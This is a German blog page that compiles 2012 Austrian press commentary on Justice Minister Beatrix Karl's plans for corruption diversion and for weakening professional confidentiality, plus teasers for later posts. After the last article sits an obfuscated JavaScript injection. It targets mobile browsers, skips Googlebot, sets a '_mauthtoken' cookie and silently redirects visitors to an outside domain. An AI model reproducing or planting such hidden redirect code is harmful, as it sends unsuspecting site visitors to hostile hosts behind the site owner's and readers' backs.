Menü

BEATRIX KARL: Ministerin – oder…

(DER STANDARD, Print-Ausgabe, 27.2.2012, Gerfried Sperl)

Regierung will Korruption salonfähig machen

„Da
haben wir leider nicht genau hingeschaut“ – Das ist der Tenor der
politischen Reaktionen auf die im Gesetz verankerte Möglichkeit,
Abgeordnete zu bestechen

Wenn hochrangige Politiker dem Iran mit
einem „Atomschlag“ drohen, steigt der Ölpreis. Und wenn ein iranischer
Minister im Gegenzug Liefersperren ankündigt, klettert der Preis weiter.
Und damit unser aller Benzinkosten. Angesichts der weltweit steigenden
Korruptionspraxis glaubt man immer weniger, dass nur die Spannungen (und
bis zu einem gewissen Grad Spekulationen) für die Preistreiberei
verantwortlich sind. Dass sowohl Ölkonzerne als auch Ölländer Politiker
bestechen, um auch durch radikale Rhetorik den Preis hinaufzutreiben,
ist nicht mehr auszuschließen.

Mit Blick auf den Telekom-Skandal und die für politische Dienste
gezahlten Summen sollte man sich in Österreich fragen, ob wir nicht in
der Vergangenheit viel zu hohe Handy- und Festnetz-Kosten entrichtet
haben. Das Justizministerium will jetzt der Tat überführte
Korruptionssünder mit Geldstrafen belegen. Super. Da kassiert ein Gauner
mehrere Millionen und zahlt als Strafe dann vielleicht hunderttausend.
Ein hervorragendes Geschäft, das die Korruption nur noch antreiben und
erst recht salonfähig machen würde. Kleinere Beamte, die man statt der
Großen schneller dingfest machen könnte, weil sie sich keine teuren
Anwälte leisten können, drohte der Ruin.

Obwohl man selbst kleinere Vergehen nicht ungeschehen lassen sollte.
Aber worum handelt es sich bei dem im Rahmen der Sparpaket-Diskussion
entdeckten Absicht? Um turbokapitalistische Klassenjustiz. Über die man
später wahrscheinlich einmal sagen wird: „Da haben wir leider nicht
genau hingeschaut.“ Das ist ja momentan auch der Tenor der politischen
Reaktionen auf die im Gesetz verankerte Möglichkeit, Abgeordnete zu
bestechen, ohne bestraft zu werden. Die ehemalige deutsche
Präsidentschaftskandidatin Gesine Schwan hat am Sonntag im Burgtheater bei der

Standard-Debatte über „Geld und Moral“
gesagt, in einem System, „das auf Unanständigkeit aufgebaut sei, könne
man nur schwer den Anstand wahren.“ Die Korruption hat mittlerweile
nicht nur die Politik im Griff, sondern partiell auch das Geistesleben.
Heiner Geißler, ehemaliger CDU-Generalsekretär und
Stuttgart-21-Schlichter, konstatierte: „Die geistige Korruption reicht
heute bereits weit hinein in die Professorenschaft der Universitäten.“
Ökonomen etwa fungierten als Lobbyisten. Unbestechlich sein, Anstand
praktizieren, Tugenden betonen (was Christoph Schönborn, der Wiener
Kardinal, im Burgtheater verlangte), ist aus der Mode gekommen.

In einer Ich-Gesellschaft, die gnadenlose Konkurrenz als „Wettbewerb“
verniedlicht und praktizierte Solidarität als „Gefühlsduselei“
diffamiert, sind „Buberlpartien“ auch nach Jörg Haiders Tod gefragt.
Nur: Viele von ihnen verbringen immer mehr Zeit bei Anwälten und in
Gerichtssälen statt in den Büros jener Institutionen, die sie gegen Geld
an die Politik ausgeliehen haben. Parteichefs und Minister brauchen
selbst ein geschärftes ethisches Bewußtsein. Um den Verlust an
Rechtsempfinden zu stoppen.


(News, Mittwoch, 7. März 2012 von Kurt Kuch)
Karls Angriff auf die Demokratie
Kurt Kuch über Wahnwitziges aus dem Justizressort
Kurt Kuch
Still und heimlich will Justizministerin Beatrix Karl unsere Grundrechte drastisch einschränken. Ihr Hebel ist eine Novelle der Strafprozessordnung. Vorige Woche hat sie im Ministerrat etwas beschließen lassen, das nie in Begutachtung war. Nur zufällig entdeckte die Rechtsanwaltskammer auf der Homepage des Parlaments, was Sache ist: Das Justizressort hebelt die Verschwiegenheitsrechte zahlreicher Berufsgruppen aus. Betroffen sind Rechtsanwälte, Ärzte, Priester, Steuerberater und auch Journalisten.
Kommt Frau Karl mit diesem geheim durchgezogenen Frontalangriff auf Grundrechte, die in jedem demokratischen Land selbstverständlich sind, durch, ist nicht nur das Redaktionsgeheimnis faktisch wertlos. Dasselbe gilt für die ärztliche und die anwaltliche Verschwiegenheitspflicht. Rechtsanwaltskammerpräsident Rupert Wolff greift daher zu drastischen Worten: „Das ist schlimmer als in Ungarn. Das ist Aserbaidschan.“
Erst vor zwei Wochen wollte Frau Karl schwere Korruption per Gesetz zur Lappalie erklären. Jetzt will sie die Pressefreiheit einschränken, das Redaktionsgeheimnis killen und die anwaltliche Verschwiegenheitspflicht durchlöchern. Was ist mit der Justizministerin los? Warum will sie aus Österreich unbedingt Auserbaidschan machen?


(DER STANDARD, Printausgabe, 8.3.2012)

Einserkastl rau

Versteckter Angriff

Rechtsanwälte empören sich über Justizministerin Karls nächsten Streich

Noch
läuft die Debatte über das Vorhaben des Justizministeriums, bei
Korruptionstatbeständen eine Diversion zu ermöglichen: Der Korruptionist
zahlt, und das war““s dann. Klärung findet nicht statt. Nun empört sich
der Österreichische Rechtsanwaltskammertag (ÖRAK) über eine Änderung der
Strafprozessordnung, die noch nach der Begutachtungsfrist in die
Regierungsvorlage geschmuggelt wurde: „Diese Änderungen (…) besitzen
enorme gesellschaftliche Tragweite und Brisanz. Es handelt sich dabei um
die Schaffung gesetzlicher Rahmenbedingungen, unter denen
Redaktionsgeheimnis, anwaltliche Verschwiegenheit und eine Reihe
weiterer gesetzlich geregelter Verschwiegenheitspflichten und -rechte
problemlos von der Staatsanwaltschaft ausgehebelt werden können, und
zwar ohne Einbindung eines unabhängigen Gerichts“.

Salopp formuliert geht es darum, dass der Staatsanwalt künftig
einfacher über den Widerstand von Rechtsanwälten, Journalisten, Ärzten,
Steuerberatern, Notaren u. Ä. gegen die Verwendung von beschlagnahmten
Unterlagen drüberfahren kann. „Wenn wir in Österreich noch einen Funken
politischen Anstand besitzen, muss das Parlament diesen Gesetzentwurf
ablehnen“, sagt ÖRAK-Präsident Rupert Wolff. Die Frage ist, warum gerade
unter Ministerin Beatrix Karl ein solcher „versteckter Angriff auf
Grundpfeiler des demokratischen Rechtsstaats“ (Wolff) durchgeschwindelt
wird.


(Kleine Zeitung, MICHAEL JUNGWIRTH, WOLFGANG RÖSSLER, 9.3.2012)
In den Mühlen der Justiz

Vom Regen in die Traufe: Innerhalb weniger Tage tritt Justizministerin Beatrix Karl gleich zweimal ins politische Fettnäpfchen.

Handwerkliche Fehler und mangelndes politisches Gespür:
Beatrix Karl (APA)

Oben, auf einer lebensgroßen Leinwand, predigt
Leopold Figl selig, der erste ÖVP-Bundeskanzler. Freundlich schaut er
herab auf seine politische Urenkelin, Justizministerin Beatrix Karl, die
sich hier im Allerheiligsten des ÖVP-Klubs verbarrikadiert hat.
„Populismus“ nennt sie die Angriffe von Anwälten, Juristen, dem
politischen Gegner. „Purer Populismus.“ Die Kritik der Journalisten,
dass sie am Redaktionsgeheimnis kratzen würde? „Fehlinterpretationen“
und „Mutmaßungen“.

Karl argumentiert fahrig, rudert mit den Händen
durch die Luft. Sie weiß, dass ihr alle drei Oppositionsparteien eine
halbe Stunde später das Misstrauen aussprechen werden, weil sie, so
lautet die schwerwiegende Anschuldigung, die Verschwiegenheitspflicht
von Rechtsanwälten, Notaren, Steuerberatern, Ärzten, Journalisten bei
der Durchsicht von beschlagnahmten Unterlagen aushebeln wolle. Der
Vorwurf geht der Justizministerin, die in ihrem zivilen Beruf
Uni-Professorin an der rechtswissenschaftlichen Fakultät ist, sehr nahe.

Nach der Abstimmung, die sie erwartungsgemäß
politisch überlebt, gibt sie sich zerknirscht. Ihre Stimme überschlägt
sich nicht mehr wie zuvor noch im Parlament. „Das ist völlig unerwartet
gekommen“, räumt die 44-jährige Steirerin ein. „Damit habe ich nicht
gerechnet.“

Nicht gerechnet hatte sie auch vor einer Woche
mit dem Gegenwind, der ihr beim Freikauf bei kleinen Korruptionsfällen
(Diversion) ins Gesicht schlug. Damals zog sie auf Geheiß der eigenen
Parteiführung ihre Pläne zurück. „Ja, das war eine Fehleinschätzung“,
räumt sie heute ein. „Mir ging es ja nur um kleinere Fälle, doch ich
habe die Öffentlichkeit unterschätzt, die im Bann größerer
Korruptionsfälle steht.“

Oder wie es einer ihrer Parteifreunde sehr
drastisch auf den Punkt bringt: „Das wäre so, wie wenn die Politik eine
Woche nach dem Aufgreifen eines Kinderschänders eine politische Debatte
über die Sinnhaftigkeit der Fußfessel für Kinderschänder vom Zaun
bricht.“

Wie konnte es passieren, dass die
Justizministerin innerhalb von zwei Wochen zweimal ins politische
Fettnäpfchen tritt? In ÖVP-Kreisen machte gestern die Erklärung die
Runde, sie habe sich die beiden Vorhaben „von ihren Beamten
aufschwatzen“ lassen. Ein hoher VP-Politiker vermutet sogar eine
Intrige: „Es gibt im Justizressort Einflüsterer, die es offenbar nicht
gut mit ihr meinen.“

Nutznießer der beiden Reformvorhaben sind die
Staatsanwälte, die schon seit Längerem über enorme Arbeitsbelastung
stöhnen und auf schnellere Verfahren drängen – und die über eine
mächtige Lobby verfügen. Es ist eine Ironie, dass Karl mit den beiden
Gesetzesvorschlägen die Justiz für jene größeren Korruptionsfälle
freispielen wollte, die auch ihr zu schaffen machen.

Dass sich die Ministerin von ihren eigenen
Beamten auf eine falsche Fährte locken ließ, mag eine Erklärung sein,
spricht aber nicht für die ÖVP-Politikerin. Das letzte Wort hat immer
die Politik. Offenkundig fehlt ihr das politische Gespür, weshalb ihr
dann handwerkliche Fehler unterlaufen. Oder wie der grüne Justizsprecher
Alfred Steinhauser formuliert: „Auf jede Panne folgt eine Pleite. Sie
ist zu wenig Politikerin.“

VP-Chef nicht informiert

Dafür spricht auch, dass sie den höchst sensiblen
Passus zur Verschwiegenheitspflicht erst nach Ende der
Begutachtungsfrist handstreichartig in den Gesetzesvorschlag aufgenommen
hat – statt die heikle Frage vorab in größerer Runde oder in einer
Arbeitsgruppe, wie das bei der Diversion passiert, abzuklären. Michael
Spindelegger, ihr Parteichef, erfuhr auch erst aus den Medien von dem
Fall.

Dass sich die SPÖ auf die Ministerin einschießt,
verwundert allerdings etwas. Zwei Wochen vor der Beschlussfassung im
Ministerrat wanderte der Vorschlag über die Änderung der
Strafprozessordnung an Karls Spiegelminister, an Norbert Darabos.
Darabos sah keinen Grund, die Gesetzesänderung zu blockieren und stimmte
zu.

Als Justizministerin konnte Karl bisher noch
nicht überzeugen, monatelang hörte man wenig von ihr. In der Affäre um
die Nichtauslieferung des russischen KGB-Offiziers Golovatov an Litauen
bleibt ein schaler Beigeschmack übrig. Während die Enthüllungen um die
Telekom und andere Skandale die Öffentlichkeit in Atem hielten, ließ
sich Karl mit der Ausarbeitung eines Antikorruptionspakets ewig Zeit.

Die Steirerin hat eine steile Karriere hinter
sich. Drei Jahre nach ihrem Einzug ins Parlament wurde sie
ÖAAB-Generalsekretärin, ein Jahr später bereits Wissenschaftsministerin.
Aber auch in dieser Funktion erlebte sie schwere Stunden. Der frühere
ÖVP-Chef Josef Pröll entmachtete sie als Chefverhandlerin in
Bildungsfragen.

var _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Blog / Zeitgeschehen

Griechenland: SYRIZAs Dilemma und die verlogenen Reaktionen in Deutschland

am Fr, 30.01.2015 um 11:01
annotazioni.de – Blog zu wirtschafts-, verteilungs- und sozialpolitischen Themen Gregor Kritidis, Patrick Schreiner, 28. Januar 2015 | Ausgrenzung, Demokratie & Recht, Wirtschaft & Finanzen Dass die griechische Linkspartei SYRIZA einen fulminanten Wahlsieg landete, ist mehr als erfreulich. Es ist ein klares und deutliches Signal an Brüssel und Berlin, dass die griechischen WählerInnen die bisherige Austeritäts- […]

Religionen: Respekt? Wovor denn?

am Fr, 16.01.2015 um 11:16
©Die Zeit Respekt vor religiösen Gefühlen!, heißt es allenthalben. Michael Schmidt-Salomon hält es für falsch, auf die Befindlichkeiten von Gläubigen groß Rücksicht zu nehmen. VON MICHAEL SCHMIDT-SALOMON Eine Kirche und eine Moschee in Ramallah, Westjordanland  |  © Mohamad Torokman/Reuters Es wirkt wie ein bedingter Reflex: Kaum gehen religiöse Fanatiker auf die Barrikaden , sind westliche Politiker und Journalisten zur […]

Verwaltung des Stillstandes statt überfälliger Reformen

am Mi, 07.01.2015 um 16:52
Verwaltung des Stillstandes statt überfälliger Reformen Zangengriff von Parteien und Kammern lähmt Österreich Österreich ist immer noch eines der reichsten Länder Europas, verliert aber seit 2007/08 in allen Standort- und Wettbewerbsvergleichen kontinuierlich an Boden. Das Land braucht einen Befreiungsschlag. Matthäus Kattinger, Wien 1.1.2015, 05:30 Uhr Hypo Alpe Adria in Klagenfurt: Das Hypo-Desaster sollte für notwendige […]

Statistische Tricks – ÖSTERREICHS LUKRATIVE ARBEITSLOSE

am Do, 15.05.2014 um 13:30
Statistische Tricks Österreichs lukrative Arbeitslose Matthäus Kattinger, Wien, Gestern, 14. Mai 2014, 13:31 Der staatliche Arbeitsmarktservice (AMS) ist fest in der Hand rot-schwarzer Proporz-Politik.(Bild: Imago) Österreich ist bei der Langzeitarbeitslosigkeit nur dank statistischen Tricks Musterknabe. Schlimmer noch ist die Geschäftemacherei auf dem Rücken der Arbeitslosen. Ein 62-jähriger Personalchef wird 53 Tage vor Pensionsantritt vom Arbeitsamt in […]